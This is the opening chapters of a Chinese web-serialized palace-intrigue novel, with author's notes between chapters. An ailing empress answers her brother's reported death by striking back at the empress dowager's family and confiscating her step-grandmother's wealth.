《皇上今天认怂了没》 第1章 01 太后与萧灼相形驾临昭阳宫时,贺兰悠正倚在树下的美人榻上,瞧着宫人晒书。 萧灼远远便望见,贺兰悠腿上搭着毯子。 他不由抬头,望一眼炎炎烈日。 贺兰悠生龙凤胎时九死一生,三年来病痛不断,一条命已去了半条。 萧灼心里叹息着,快步走过去,拦了贺兰悠下地行礼,将她按回原处,“这次又不舒坦几日了,我与母后不会计较小节。” 贺兰悠也不坚持,歉然一笑,“让皇上、太后劳心了。” 太后今日心情很好,真不在乎儿媳妇不给自己行礼,亲自吩咐人搬来座椅,舒舒服服坐下,喝了口解暑的茶,开门见山: “皇后身子一直不爽利,幸好自幼聪明绝顶,打理六宫事宜不在话下。饶是如此,有些大事,哀家和皇上也得顾忌你这身子,生怕你禁不住,一病不起。” “再禁不住,有些事也不能瞒着臣妾,太后娘娘的意思,臣妾明白。”贺兰悠弯了弯唇角,“可是出了什么大事?” 太后望向萧灼。 萧灼犹豫片刻,对常久福打个手势。 常久福明显打了个寒颤,到底是硬着头皮上前,行礼后道: “禀皇后娘娘,”他的腰弯的更低了些,“皇上昨日一大早得到消息:不知何故,皇后娘娘的兄长贺世子无召返京,还、还在京城外百余里遇到刺杀,恐怕已是凶多吉少……” 贺兰悠勾魂摄魄的眼眸眯了眯,凝住说话的人,周身散发出慑人的肃杀之气。 常久福腿肚子直转筋。他对皇后的畏惧,自来重于皇帝。 过了几息的工夫,贺兰悠问:“怎么说?” “贺世子的随从,无一活命,追踪的人找到了世子的坐骑、佩剑和贺家家传的匕首,这些所在之处是悬崖边,那里还有几具尸体,厮杀情形分外惨烈,而悬崖下,是万丈深渊,绝顶高手亦无法寻找……” 贺兰悠接话,语气冰冷:“所以,你们认为世子已经坠崖而亡,就算侥幸留存一口气,也迟早死在深渊之中。” 常久福忙道:“奴才不敢,这些都是报信的人说的原话。” “皇上怎么说?” “皇后娘娘,实际上,贺家昨日便已知情,贺老夫人相信贺世子已经殒命……”常久福飞快地偷瞄皇后一眼,“在、在筹备丧事。皇上此次过来的意思是,皇后娘娘可以回府几日,陪伴至亲。” “贺老夫人相信,皇上不也没怀疑?”贺兰悠讽刺地一笑,“本宫一向认为,活要见人死要见尸的道理,只要是个人就懂。” 常久福擦了擦额头的冷汗。好么,三言两语间,贺老夫人跟皇上就都不能算人了…… 萧灼眼角一跳,轻咳一声,“兰悠,我知道你难以接受,但是……”他将一份卷宗、一道奏折递到贺兰悠膝上,“你看看,这些要比常久福说的详尽几倍。” 贺兰悠苍白骨感的手指抚了抚奏折,凝眸看住萧灼,“常久福没有含糊其辞的毛病,所以他说的死不见尸这一点没错,臣妾有没有领会错?” “没有。” “可是皇后啊,揪着死不见尸这一点无甚用处。”太后非常努力地做出语重心长的样子,只是语气不够庄重,出卖了她随时想大笑的绝佳情绪,“你哥哥这情形,锦衣卫和刑部官员抓紧勘察过了,都说是绝无生还的可能。你的心情是人之常情,可人不在了,就该尽早入土为安,不但是为了安生者的心,更是为了安死者的魂。” 萧灼神色无辜且无奈地和稀泥:“母后说的在理,你……” 贺兰悠从缓抬手,打断他的话:“臣妾说了,活要见人死要见尸,再者,无召进京又算是怎么回事?就算皇上与太后娘娘开恩,瞒下此事不提,臣妾也决不能承这等恩情。查清这一节之前,贺临便是戴罪之身,是否以世子规格下葬,是否要以草席裹身扔到乱坟岗,还需两说。” 萧灼沉默下去。 太后目光灼灼地审视着贺兰悠。 很明显,贺兰悠非常愤怒,以至于面色苍白得近乎透明,眸中闪烁着无形的妖冶的光火。 可这妖孽又是那般冷静、镇定,从头到尾说的话,纵然有不带脏字儿骂人的言辞,也是因分析事态而起。 换了后宫任何人,到了此时此刻,早已方寸大乱哭哭啼啼,可她呢?连她兄长下葬的规格都考虑到了。 太可怕了。 可怕也罢了,偏偏她越是脾气不好的时候,越是美得惊心动魄,让她这过尽千帆看尽美人的太后都不得不承认,这是世所罕见的美人,到她不能再以美貌勾着皇帝的年月,起码得十年二十年后了。 贺兰悠没有跟人耗着的习惯,用尽最后一丝耐心,强调道:“臣妾已知事情原委,主张也已一再申明,恳请太后娘娘、皇上成全,若不能,臣妾尽快上表,到两仪殿脱簪待罪便是。” “哪里到得了那地步,不要多思多虑。”皇帝握了握她的手,触感凉冰冰的,心头便是一悸,语气也多了几分坚决,“我准了。” “多谢皇上。”贺兰悠欠一欠身。 “只是,”皇帝紧握一下她的手,“贺家是你母族,我自来倚重,大事小情便更不能轻忽,你的道理没错,贺家长辈要安世子的魂也没错,我不能一直不给句准话,七日期限如何?” 贺兰悠静静地与他对视,直到他招架不住,要错转视线时,适时地说:“好。” 太后张了张嘴,自觉辩不过贺兰悠,也就作罢。 七日而已,算得了什么?她与母族谢家等得起。 母子两个真心假意地宽慰叮嘱了皇后几句,如来时一般,浩浩荡荡又静悄悄地离了昭阳宫。 贺兰悠闭上眼睛,眉心越拢越紧,唤鸿嫣,“帮我捏捏腿脚,抽筋儿了。” 鸿嫣忙上前来,坐到一旁的绣墩上,手法熟练地按揉,“腿和脚动不动就肿胀抽筋儿,怎么算也不是大毛病,那起子太医怎么就医不好?” “谁说不是?”贺兰悠仰头,眯着眼睛望着过分璀璨的骄阳,“回头你打他们一顿,太不中用了,除了让你当练手的玩意儿,还有什么用?” 鸿嫣噗一下笑出来,“娘娘又不着调了。” 星玉走过来,手里捧着的花梨木托盘上,放着四色糕点,“御膳房刚做好的,特地送来孝敬皇后娘娘。” 贺兰悠看一眼,“瞧着不错,我尝尝。” 星玉笑靥如花,“别只尝尝,多吃一点儿。太医一年得说八百回,您得少吃多餐。” “尽量。”贺兰悠取了一块莲子糕,静心聆听片刻,这才放心说话,“目前如何?” 星玉低声道:“最迟半个时辰后,定有人进宫报信。” “一死一伤,弟兄姐妹绝对办岔不了。”鸿嫣补充。 贺兰悠颔首,眸中寒光流转,“玉儿,派人传懿旨到贺府,把那个老糊涂东西给我叫进宫来。” “是!” 皇帝也好,太后也罢,在如今就想联合贺家内贼,给她给贺家添堵,委实太天真。 . 约莫两刻钟之后,谢家的嫡次孙一路哭嚎着进宫来,先到两仪殿,再在皇帝的陪同下,到慈安宫扯着嗓子报丧: “家父午后被匪类截杀,横死街头,家兄……家兄被断了右臂,左手手筋也断了……” 太后听得兄长与侄子遭此横祸,一口气没上来,两眼向上一翻,当即晕厥过去。 皇帝连忙唤人请太医,又申斥谢家子嗣:“说得委婉些都不会?!”语毕拂袖,转到偏殿,悠闲喝茶。 又不是他亲娘,他登基前没给拆台就不错的主儿,让他忧心,那是开玩笑。 他需要琢磨的是,这事儿到底是谁干的。 如今在京城,有当街杀人这等实力的,贺家都不行……有贺兰悠在的贺家倒是还行。 除了贺家,别家不需想。 谢家父子这件事,需要的是到极点的冷静,和近乎不顾一切的妄为任性。 ——这不就是曾经的贺兰悠么? 在最不应该最不合时宜的时候去做一件事,从来是她的拿手好戏,比之她以前的丰功伟绩,今时今日的事又算得了什么? 萧灼下颚抽紧,半晌才一点点松开。 他极缓慢地站起身来,举步向外,语气冷森森的:“摆驾昭阳宫。” . 身为皇后,贺兰悠最不耐烦的事情有两件:早间嫔妃请安,日常嫔妃扯皮找她断官司。 这会儿,贺美人过来告状了。 两人同个姓氏并非偶然,她们是同出一门的堂姐妹。 先帝驾崩前几日,做主给萧灼的东宫添了八名女子,贺美人在其列。 贺兰悠对贺美人的嫌弃,路人皆知,因为从不掩饰。看着贺美人行礼问安以毕,她也不叫起,“何事?” 贺美人四平八稳地维持着行礼的姿势,脆生生道:“上午领到一批用度,内务府说的明明是按照位分分发,可方美人所得远远超过嫔妾,嫔妾百思不得其解,特来请皇后娘娘给个说法。” 贺兰悠摇着折扇,“方家于社稷有功,太后娘娘、皇上亲**代过本宫,恩及方美人,你有异议?” “嫔妾不敢,只是来问清楚原由,现下明白了,日后再也不会了。” “退下。” 贺美人称是,起身离开前,迟疑地望着贺兰悠,“皇后娘娘,嫔妾听闻,贺家世子出了大事,您——” “本宫的继祖母,你的亲祖母,不见尸身就要下葬。”贺兰悠唰一声合上折扇,“本宫正琢磨着怎么磋磨死她,你有没有好办法?” 贺美人的脸都要绿了,抹着冷汗落荒而逃。 这文最早预开的是女主下堂题材,但后来写过这类配角,也写过相关短篇,再展开来详写实在找不出新意了,所以换了当下的宫斗文,相同点是收拾变心的渣男,希望宝们体谅~ 开文第一天送上三章,每章下的留言一概赠送小红包,等你哦~ 作者有话说 显示所有文的作话 第1章 01 第2章 02 萧灼本是怀着怒气而来,可进到昭阳宫后,略一迟疑,脚步一转,去了永寿殿看龙凤胎。 两个孩子的乳名是朝宁、暮安,由他取自朝朝暮暮之意。 兰悠怀胎时满口赞同,孩子生下来之后,变了态度。 到底,孩子的乳名还是遂了他心愿。一次他着意提及,兰悠说无所谓,横竖长年累月恶心她的事儿多了去了。 气得他好几天心口像是塞了秤砣。 他们之间,早就已经很不好了。 漂亮至极的两个雪团子,并排睡在榻上。 朝宁是姐姐,一只小胖手贴着弟弟的面颊。 暮安的一只小手,松松握着姐姐衣服上缀着珍珠的丝带。 姐弟两个长相有六七分相像,个子好像没一致过,不是姐姐显得又高又胖,就是弟弟蹿个儿超过姐姐。 他们平时见兰悠的次数跟见他差不多。 兰悠总是病歪歪,有时发热会过病气给人,大人她无所谓,孩子却是不肯冒半点险,便三不五时禁止孩子踏进昭阳宫正殿。 朝宁跟他更亲,他也更疼爱女儿。没道理好讲。 萧灼轻柔地抚着一双儿女乌黑浓密的发丝,握了握他们的小胖手,又俯身,分别亲了一下。 心绪就此平和下来。 贺兰悠此时在书房,修补一幅古画。 萧灼坐到大画案前面,瞧着她凝神忙碌了好一阵,轻咳一声,柔声问:“谢家的事,与你有没有关系?” 贺兰悠反问:“谢家何事?” “父子二人,一死一伤。太后闻讯,当场晕厥。” “何时的事?” “刚得到消息。” “刚得到消息?”贺兰悠慢悠悠望向他,似笑非笑,“原来太后比臣妾更经得起事,不需拖延一两日再告知。” “只因为我没及时告诉你贺临的事,你就把事情做到这种地步?”萧灼拧眉,“贺兰悠,你当这是先帝在位的年月不成?” “臣妾做了什么?”贺兰悠放下手边的事,笔直地望着他,“家兄无召进京的糊涂官司尚无定论,皇上又急着无凭无据地给臣妾安排个罪名?” 萧灼加重语气:“我不是要计较长短定谁的罪,只是跟你说这类事的轻重,要郑重地告诫你,日后再不可这般发疯!” “告诫?发疯?”贺兰悠倏忽一笑,笑靥宛若外面的骄阳,如此璀璨夺目,却无一丝暖意,“臣妾禁得住谁报丧,却禁不住激将,所谓告诫,烦请皇上日后能省则省。” “这事情就是你派人办的,只有你办得成!”萧灼起身,撑着桌面,“谢家死的是英国公,终生残废的是英国公世子,父子二人都是我要委以重任的人,你怎么能这么办!?” “所谓重任,是不是取代贺家父子?”贺兰悠毫不退让地回视着再到逼视着他,“贺临无召进京,不论死活,其父难辞其咎,势必进京领罪思过,甚至辞去官职。南疆没有将领怎么成?谢家也是行伍出身,取而代之不是最稳妥?谁敢说皇上的裁夺不是顺理成章?” “你早得到了消息,甚至比我跟太后更早得知贺临出事,对不对?”萧灼心焦也心虚起来,“你还打算做什么?你不能乱来!你早已是皇后!你要相信,我所做的一切,都是为了我们一家四口!” 贺兰悠长睫忽闪一下,表情玩味,“臣妾自来相信皇上,正如当初相信,可以平安产下一双儿女,却小看了太后在宫中的势力,险些一尸三命。” “……”萧灼还能说什么?这片刻间他甚至在想,谢家一条半人命,算不算跟她扯平? 缓了缓,他才能再度开口:“你要明白,帝王、皇后不同于任何人,最是容不得儿女情长。” “没错。一家四口的话,皇上再不要说了。” “……”情绪彻底失控之前,萧灼磨着牙问她,“你到底要我怎么办才算完?你还想动哪些京官?” 贺兰悠笑得纯良无害,“臣妾不会动任何一名京官,没人给臣妾那等杀伐之权。” “贺兰悠!”萧灼拍一下大画案。 贺兰悠凝着他捎带着拍上古画的手。 萧灼缓缓地,将手移开,“我退一步,你掂量着也退一步,要我办什么事?” “褫夺贺老夫人的一品诰命。贺美人降位为选侍。” “……好!”萧灼转身,带着一身憋屈和愤怒离开。 . 一面随宫人向昭阳宫走着,贺老夫人一面打着自己的算盘。 办差的官员说了,贺临几乎没有生还的可能,她当然要抓紧筹备丧事。死的不清楚更不光彩,她那个继子势必也要受牵连,这样一来,她亲生的儿子孙子,不就有了出头之日? 贺兰悠一定大为不悦,但宫墙相隔,谁需要管她高不高兴?最多也就是初一十五请安时看看脸色,又掉不了一块肉。 到底,独木不成林,想稳坐皇后宝座,就得指望娘家鼎力扶持,要不然,再生一对龙凤胎也没用。 且先忍着贺兰悠的坏脾气,等到她需要叔父堂兄弟出力了,自然会掉过头来百般讨好。 思及此,贺老夫人定下心来。 她走进有着天家底蕴,景致分外悦目的昭阳宫苑;她举步踏上正殿明如镜的地面;她垂首等待期间,悄然打量富丽堂皇美轮美奂的宫室。 每到这种时刻,她都如百爪挠心:兰雪怎么就没在闺中与皇帝结缘得到青睐?进宫三年了,怎么一直只是美人的位分?假如身为皇后的是兰雪,这泼天的富贵,不就切切实实落到她和二房头上了? 兰雪要怎么做,才有爬到最高处那日可期? 正想着这些,贺兰悠来到正殿,在宝座上落座。 贺老夫人忙敛起思绪,毕恭毕敬行礼。 “免礼。”一如以往,贺兰悠命人赐座上茶。 贺老夫人问道:“皇后娘娘命臣妇进宫,不知是为何故?”在这个名义上的孙女面前,她自来端不起长辈的谱。 贺兰悠本就没想绕弯子,“贺府在筹备世子的丧事?” “是。”贺老夫人低头,显得神色黯然,“府里出了那等大事,委实是惊天霹雳,臣妇不愿相信,可办差的官员再三说了,阿临没有存活的可能,臣妇其实找高僧算过他的运道,也说他今年有生死大劫……” “府里挂白了?已对外言明世子身死?” “……是。” “本宫原本想着,挂一道白,要你和二房一条命,但那不合适,也不划算,你便用侵吞的贺家财产凑数,让本宫消消气。” 贺老夫人瞠目,“皇后娘娘,长房与二房十年前便分家了,臣妇手中产业,皆是长子做主拨给二房的……” 贺兰悠轻一拂袖,“少扯废话,要命要钱?” 当然是两者皆想要,只是,贺老夫人不敢说出口。 贺兰悠不再理会她,端茶细品。 过了一阵子,常久福前来对贺老夫人宣旨。 贺老夫人听着入耳的字字句句,整个人都木了:她立身不正,对上不敬,对下不慈不仁,德不配位,褫夺一品诰命。 而这还不算完,常久福向皇后告退前,殷勤地道:“禀皇后娘娘,奴才方才已经到前贺美人那里宣旨,皇上将她降为选侍,迁居听风馆。这会子,内务府的人正帮着贺选侍搬家。” 贺兰悠满意地笑了笑,吩咐鸿嫣:“常公公辛苦了,给他几片金叶子玩儿。” 常久福笑开了花,千恩万谢而去。 贺老夫人险些瘫在地上。 她曾畅想的那些,无异成了镜花水月。 她终是明白,贺兰悠这孽障,不论到了什么境地,都会不遗余力地收拾她和二房。 太后曾经许给她的那些好处,到底是想当然,还是根本没有与贺兰悠抗衡的本钱?假如有,怎么会坐视兰雪降为从七品选侍? 贺兰悠冰冷的视线,迅速唤回贺老夫人的神智和理智,忙不迭主动说起先前的事:“两日内,臣妇将一应财产送进宫中。”再不主动送上银钱,她恐怕不能喘着气离开皇宫。 “你以为,本宫愿意浪费多少工夫在你身上?”贺兰悠问。 “……若此时着手,也不知宫门落锁前来不来得及。” “一试便知。”贺兰悠唤星玉,“遣人唤贺老夫人的随从过来。” 皇后问祖母要钱财的事,昭阳宫并没瞒着,很快传遍宫廷。这根本不是瞒得住的事,与其从外面传到宫里,不如自一开始便明打明地行事。 横竖所有人都默认,皇后是土匪性子,在她那儿根本没有翻篇儿的账,要些钱财不过小打小闹。 贺老夫人与二房手里共有现银、银票二十四万余两,另有铺面、田庄、别业的文书,一并送进宫里。 贺兰悠留了二十二万两银子,产业文书命人移交给母亲贺夫人,留给贺老夫人和二房的,是两万多两银子。 末了,贺兰悠交代贺老夫人:“今日你且先回去,明日召集贺氏族人,开祠堂分宗。贺家长房是宗家,你们自此与贺家无关,可明白?” “臣妇……明白。”贺老夫人像是忽然苍老了十岁不止。 “退下。” 贺老夫人告退,一面往宫门口走,一面抹眼泪。 哭的不止她一个,慈安宫里的太后醒来愣神许久,入夜后开始哭她横死的胞弟,一再命人唤皇后过去,她要当面质问,贺兰悠派谁下的这般毒手。 太后或许不如萧灼那般了解京城格局,却和他一样笃定一点:有当街杀朝廷大员的胆子的人,除了贺兰悠,再不需做第二人想。 太后不单单是为胞弟身死悲痛,还有着从沾沾自喜到如被雷劈的巨大落差,足够其恼羞成怒到几欲发狂。 萧灼及时赶去侍疾、安抚,不准任何人惊动皇后。 他真是为太后着想,以贺兰悠那个油盐不进的德行,要是来到慈安宫,活活把太后气死也未可知。 这对身份最尊贵的婆媳,此番不过是结仇到了明处。 太后没一时半刻喜欢过贺兰悠,贺兰悠也是看太后哪儿哪儿都无顺眼之处,早在萧灼入主东宫之前,贺家与谢家便已屡出争端,相互厌憎。 太后的心思很容易猜:贺兰悠是她的眼中钉,她想在后宫安享荣华,前提就得是除掉贺兰悠,换一个对她唯命是从的皇后,要不然,就算贺兰悠红颜早逝,留下的儿女、人脉,也足够让她终生不得安宁。 至于贺兰悠,任何事情上都要人费尽思量,只有针对太后这一桩,简单得很:她恨不得杀了太后,以报当日生产九死一生之仇。 原本,谢国公的事,贺兰悠不需做得这样大家都心知肚明,原因只在帝心。 帝王忌惮功高震主的贺家,对贺家出事喜闻乐见,甚而推波助澜。 她既已看清,自是明白:在宫中飞扬跋扈兴许还有多年好光景可期,若是沉心静气忍辱负重,兴许要不了多久就得被太后磋磨死。 萧灼只是遗憾,兰悠只看清了他忌惮贺家,却不愿意再相信,他对她的情意。其实不论她如何为人处世,他都会保她与儿女无虞。 记得留言呀宝宝们! 作者有话说 显示所有文的作话 第2章 02 第3章 03 辰正,贺兰悠如常准时出现在正殿,略显慵懒地落座。 七名嫔妃齐齐起身,向皇后请安。 贺兰悠轻一拂袖,“免礼,坐。” 卢久安上前,“禀皇后娘娘,德妃娘娘尚未前来。” 贺兰悠漫不经心的,“今年第几次了?” “第四次,不曾差遣宫人前来告假。” “按规矩来,份例减半三个月,撤一个月绿头牌。”贺兰悠说。 “是。” 林丽妃笑得现出两个甜美的小酒窝,“皇后娘娘之下位分最高的嫔妃,便是这样做表率的?” 方美人淡然接话:“也难怪,德妃娘娘是太后的亲侄女,谢家又逢丧事,处事难免不拘小节。” 别人只是笑笑,不搭腔。谢国公是德妃的亲爹,今日换了谁,怕也做不到照常请安,只是,别人会遣人来知会一声。 贺兰悠说起旁的:“昨日分发了一批夏日里的用度,各位可还有短缺的?” 林丽妃率先道:“皇后娘娘宽和大度,自来赏赐丰厚,臣妾宫中已无短缺。” 其余人等纷纷附和,说的也真是心里话。 中宫最出名的是倾国的容色,与容色齐名的是惊才绝艳、脾气暴躁,却从不在用度上苛刻嫔妃,除非谁上赶着找罚,譬如今日的谢德妃。 接下来,嫔妃言笑晏晏,闲话家常,气氛倒也很融洽。 她们之间,到目前为止,并无结怨的由头。 这些人进到东宫时,先帝病重,萧灼日夜侍疾无暇理会,没几日先帝驾崩,进入孝期。 萧灼恪守孝道,整整二十七个月,回后宫只到昭阳宫,陪伴成了病秧子的发妻和一双儿女。 今年二月出了孝期,萧灼仍旧不曾临幸中宫之外的女子。当然,他与贺兰悠纵然一个月有二十来天歇在一处,也是相安无事,不宜让嫔妃知晓罢了。 如今共有的八名嫔妃,两个高居妃位,两个在嫔位,一个婕妤,原本三个美人,如今少了一个,添了一个选侍。 是的,起初给的位分都不低,说起来毕竟是从东宫开始服侍今上的,理应厚待一二。 没有人在皇帝那里实实在在过名录,也就无宠可争,嫔妃闲来最多是找机会见见俊美无俦的皇帝,旁的想再多也没用,明里暗里自然都不会生事。 平心而论,如今八个人里面,起码一半都觉得日子很好,打心底依赖于皇后: 除了新出炉的贺选侍,位分最低也是美人,一应用度全部严格按照规制来,从御膳房到内务府,宫人从不敢敷衍怠慢,她们享有的确然是锦衣玉食的光景。 皇后那个人,平时固然给人高居云端不可亲近之感,可人家除了同出一门的贺选侍、注定敌对的谢德妃,从不拉拢不打压任何人,真正一碗水端平。谁不想一直维持这样的和睦? 闲话一阵子,贺兰悠对卢久安打个手势,“昨儿本宫做了什么事,诸位必然已有耳闻。私库里多了一笔银钱,便分出些许,你们拿去买花儿戴。” 她说话间,卢久安将一个个封红送到六名嫔妃手中——没贺选侍的。 若是私下里给,还能作势婉拒,眼下这情形,便是中宫的赏赐,六名女子起身,感激不尽。 贺选侍面色青红不定,手死死地握成拳。还有比贺兰悠更缺德的人么?前脚从她亲祖母手里夺得财产,后脚便用抢来的银子收买人心。 贺兰悠笑盈盈端了茶,“散了吧。” 得了赏赐的六名嫔妃,回到各自的宫室,才取出封红里面的银票来看,竟有一千两之多,忙三两个聚到一起,商量着回赠皇后什么聊表心意。 林丽妃与方美人同住在未央宫,前者住在主位,后者住揽月阁。两个人凑到一起说悄悄话,她们拿到手的不是一千两,而是五千两。 这是妥妥的两个倒霉孩子:本是贺兰悠的手帕交,从未动过进皇室的心思,却同被家族摆了一道,先帝要为皇帝充实东宫时,她们的名字上了礼部呈给先帝的名单。 说倒霉是真倒霉,一朝进宫,这一生再无别的指望。 反过来也是真的幸运,皇后是贺兰悠,三年来始终明里暗里照拂,护得她们无忧无虑。 譬如林丽妃的位分,是贺兰悠为她争来的;譬如方美人长期多领用度,是贺兰悠跟太后、皇帝以条件换得。 这会儿,林丽妃大为动容,“皇后娘娘待我们的心,从未变过。” 方美人性子淡漠沉静,心绪也有了起伏,“谁说不是呢?真不晓得该怎样报答。” 林丽妃沉思片刻,“娘娘最在意的除了宫墙外的至亲,便是跟前的皇子公主,我们往这些上面多花心思便是了。” “说起来,贺世子——” “不会有事,他若真罹难,横死的怕就不是谢国公,而是……”林丽妃望一眼慈安宫的方向。 方美人唇角微扬,“的确。” 此时的贺兰悠,到昭阳宫门前迎到了风姿绰约的贺夫人。 她先一步携了贺夫人的手,转身举步向里,“娘叫我好等,快到里面用茶点。” 贺夫人笑一笑,温暖的手反握住女儿发凉的手。 到了内殿,遣了所有宫人,贺兰悠先递给母亲一个樟木匣子,“零头打发给嫔妃了,这是二十万两,您收着。” 贺夫人据不肯收,“宫里用钱的地方多着,你留在手里开销便是。我没本事,这些年也没能从那老妇手里占得多少便宜,日后用心打理那些收回来的产业便是了。”说话间,将匣子放回到女儿手边,手势不容置疑。 贺兰悠不高兴了,“我手里的银子多的是,您好歹分一半。” “分什么分?”贺夫人失笑,握住女儿的手,“你成婚前就帮家里赚下了大钱,足够我们敞开了嚼用一辈子,还能每年供着你几万两,要不是富裕到了这地步,我早就跟那老妇争产业了。” 贺兰悠这才不再坚持,“她有没有照我说的行事?” 贺夫人颔首,“一大早便派人去请族里的人,让我尽量申时前回府。” “这次划清界限之后,便让她和二房搬走,做什么常年隔一道墙住着?” “这是自然,你别为这些事动气,身子骨要紧。” “我晓得。” 贺夫人提及此次女儿暴怒的源头:“你哥哥——” “应对的手法有些让我上火,好在有惊无险,过几日便能回家跟您团聚。爹爹那边,我已尽早传信。” 贺夫人长长地透一口气,沉了沉,目露担忧,“你跟皇上——” 贺兰悠笑容恬静,“他想看看我病了这三年,手中势力是否如旧。” “要你只做不问世事安享尊荣的皇后?” “要我做无视母家安危的废物。”贺兰悠笑意加深,平添几分不屑,“当初需得我与贺家竭尽全力扶持他上位,坐上龙椅了,想让枕边妻做笼中雀,忒无耻了些。” 话已说得特别重。贺夫人叹息一声,将女儿的手握紧了些,“不论如何,你是知道的,家中随着你进退。” 贺兰悠依偎母亲片刻,直起身形,“我这两日有些发热,您等下喝一碗防着过病气的汤药,再去看朝宁、暮安。” 只一提及那对生平所见最好看的雪团子,贺夫人便不自觉地笑了,“好,好啊,着实想他们了。”又痛惜地抚过女儿的面容,“你这身子,何时才能痊愈如初?” “慢慢调理,总能寻到除尽病根儿的圣手。”不论自己信不信,贺兰悠只能这么说。 . 夜了。 贺兰悠身着轻便的湖蓝深衣,坐在花园里的梧桐树下,面前的竹几上有棋局,酒水果馔。 萧灼踏月而来,手中一把折扇,“你倒是清闲。” “素来如此。”贺兰悠噙着笑起身行礼,“问皇上安。” 萧灼扶她一把,遂相对落座,亲手斟满两杯酒,递给她一杯,打发了彼此服侍在侧的,“我回来一阵子了。” “听说了,先去哄孩子入睡了?” “嗯。”萧灼执杯在手,面露些许倦怠,又显得格外地静,“早间左都御史禀报,两名御史同时选了今日悬梁自尽,他觉得蹊跷,请求彻查。。” 贺兰悠眉宇平宁,“他算得上心明眼亮。” 萧灼无声地笑了笑,“一如既往,又收到了言说皇后跋扈善妒的折子,要我听从太后主张,添新人进宫。” “太后的主张也罢了,添新人大可选秀。要不然,全是巴结太后进宫来,谁能容得下谁?” 萧灼凝着她,“选秀?心里话?” “自然。” 萧灼与她碰了碰杯,喝一口酒,“你的意思是,这三年来的若即若离,是余生写照?” 贺兰悠柳眉轻扬,“臣妾恪守规矩,怎么成了与皇上若即若离?” “我要与你做白首不离的夫妻,你要与我做拘泥于礼数的君臣。” 贺兰悠好笑,懒得理会了,默默喝酒。 “有些事你知道,我是迫于无奈,为何从来不肯体谅?”萧灼静静地质问她,“当初父皇性命垂危,为东宫添人,我能抗旨不成?你难产,的确是太后所为,可彼时我刚登基,皇位不稳,难不成要破了以孝治天下的名头,问罪太后?” “这些话说的好没意思。”贺兰悠用目光审判着他,“东宫添人时,先帝让皇上和太后做主,皇上并没提出任何异议,由着贺兰雪进宫,年年月月膈应人。不论是怎样出身的女子,皇上既然准许进宫,为的只是做摆设?谁信?” “你不信我。” “皇上利用女子挟制一些门第,早已成事实。”贺兰悠明眸雪亮,清越的语声有着入骨的寒凉,“至于太后算计,臣妾愿赌服输。而在如今,皇上与太后联手,用臣妾兄长性命开玩笑,是不是过于无耻?” 萧灼下颚抽紧,手中酒杯越握越紧,“到底要我说多少遍你才明白?不论帝王、皇后,眼中该有的只有天下,为了天下,没有不能舍弃的人。” 贺兰悠盈盈一笑,过分明亮的眸中充斥着挑衅,“臣妾深以为然。如今谢国公死了,谢世子成了废人,两名致力于污蔑贺家的御史也已去见阎王,请皇上牢记初衷,没本事活着的官员,那就是该死,是皇上理应舍弃的货色。” 作者有话说 显示所有文的作话 第3章 03 4. 04 萧灼端详着贺兰悠,良久,忽地一笑,现出亮闪闪的白牙,“话说到这地步,足见你对我早无情分可言。” “臣妾只是诉诸实情,比不得有些人,先将无情无义之事做尽。” “可曾想过,这样一来,贺家会成为我的眼中钉。” “鸟尽弓藏,岂非始于先帝垂危之时?”贺兰悠笑眉笑眼的,“先帝的制衡之术、驭人之道,皇上不是深以为然,处处奉行么?” 萧灼一口饮尽杯中酒,给自己斟满,解嘲地一笑,“罢了,伤情分的话不需一次说尽,喝酒。” “臣妾尚在病中,不宜多饮。” “我还以为,小事上不论我说什么,你都会迁就。” “该守的规矩要守,不该吃的苦自然要避开。” “这又是何故?你对我就算颐指气使又何妨?”萧灼说,“你手中的底牌摆在那儿,最清楚我不会也不敢动你。” “习惯是很可怕的,明里暗里,臣妾理应守着规矩,省得哪日失言,被人寻到短处。” 萧灼轻笑出声,亲手剥了荔枝给她,“不论日后如何,只盼你始终保有这份坦诚。” “但愿。” 之后,两人有一搭没一搭地说着话,商定了一些事,壶中的酒大致被萧灼喝掉。 末了他起身,携了贺兰悠的手,“该睡了。” 饶是她将很多真相拆穿,言辞歹毒,他仍旧不会下她的面子。既来了昭阳宫,便不会中途离开。 歇下之后,夫妻二人再无言语。 一早,贺兰悠醒来时,萧灼已经去了两仪殿。 昨夜他的到来,其实是前来道别。与曾经重如山深似海的情意。 到何时贺兰悠也承认,自己曾被他如珠似宝捧在手心。可她也再清楚不过,旧日不可回,浓烈的爱已成逝水。 他不可能继续守着已对他无情无义的发妻,三年来的相伴,早已仁至义尽。 如果妻子不能让他甘愿,他不可能长期有耐心应付弹劾皇后善妒的折子,宠幸别的女子是必然。 更何况,皇后缠绵病榻再不能有孕,几乎是天下皆知的事,他不能在国本之事上豪赌,万一日后出了什么岔子,社稷要交付给子嗣之外的人么? ——帝王雨露均沾的理由,要多少有多少。 论根由,不过是男子要理直气壮地辜负女子、背离誓言罢了。 这日,谢德妃过来请安了。 她与贺兰悠一般年龄,今年二十岁,样貌明艳,举止端方,在闺中时最出名的是对萧灼一往情深。 她这两日的心绪,与太后一般大起大落,本以为可以看到皇后因着兄长戴罪身死陷入被动,却不想一朝事变,自己痛失父亲,嫡亲手足也再不能做自己的靠山,悲恸愤懑可想而知。 此次请安,谢德妃身着一袭涂白,面上不施粉黛,头上只有固定发髻必不可少的簪钗。 皇后一向是到辰正才会过来,因为是嫔妃请安,没道理叫她傻呵呵地等着谁。 恭候皇后期间,林丽妃打量谢德妃一番,笑道:“倒是少见德妃穿戴得这般素净。” 谢德妃总不能明说自己是为父亲才如此,冷着脸回一句:“分明是少见多怪。” 林丽妃甜美的笑靥平添一份意味深长,“可不是么,有些事凭谁听闻,怕都要少见多怪一番,没胆色视为寻常。” 谢德妃剜她一眼,没再言语。她是位居有定员的四妃之一,正一品,林丽妃则是无定员的从一品妃位。品级的确有高低,但平时谁也不能真把谁如何,毕竟,就算一品妃位跟二品嫔位掐起来,也没谁发落谁一说,要请皇帝或皇后裁夺。 这会儿的杨嫔、高嫔,正与方美人、余美人、孙婕妤轻声言笑,讨论的是给皇后娘娘的回礼。 林丽妃、方美人不会傻到张扬得了皇后五千两的赏赐,面上人云亦云,但就是别人所得的一千两,也实在不是小数目,作为嫔妃,每年都可拿到娘家几千两的接济是很少数,瞧着位分不低便断了供应的门第才是常态。 谢德妃听着,心里更加不是滋味:她处境有些尴尬,娘家以为太后会照顾她一切,脑子里恐怕从没想过贴补她银钱的事,而太后平时给她的赏赐的确源源不断,却少有能用到实处的金银,她手头可谓拮据。 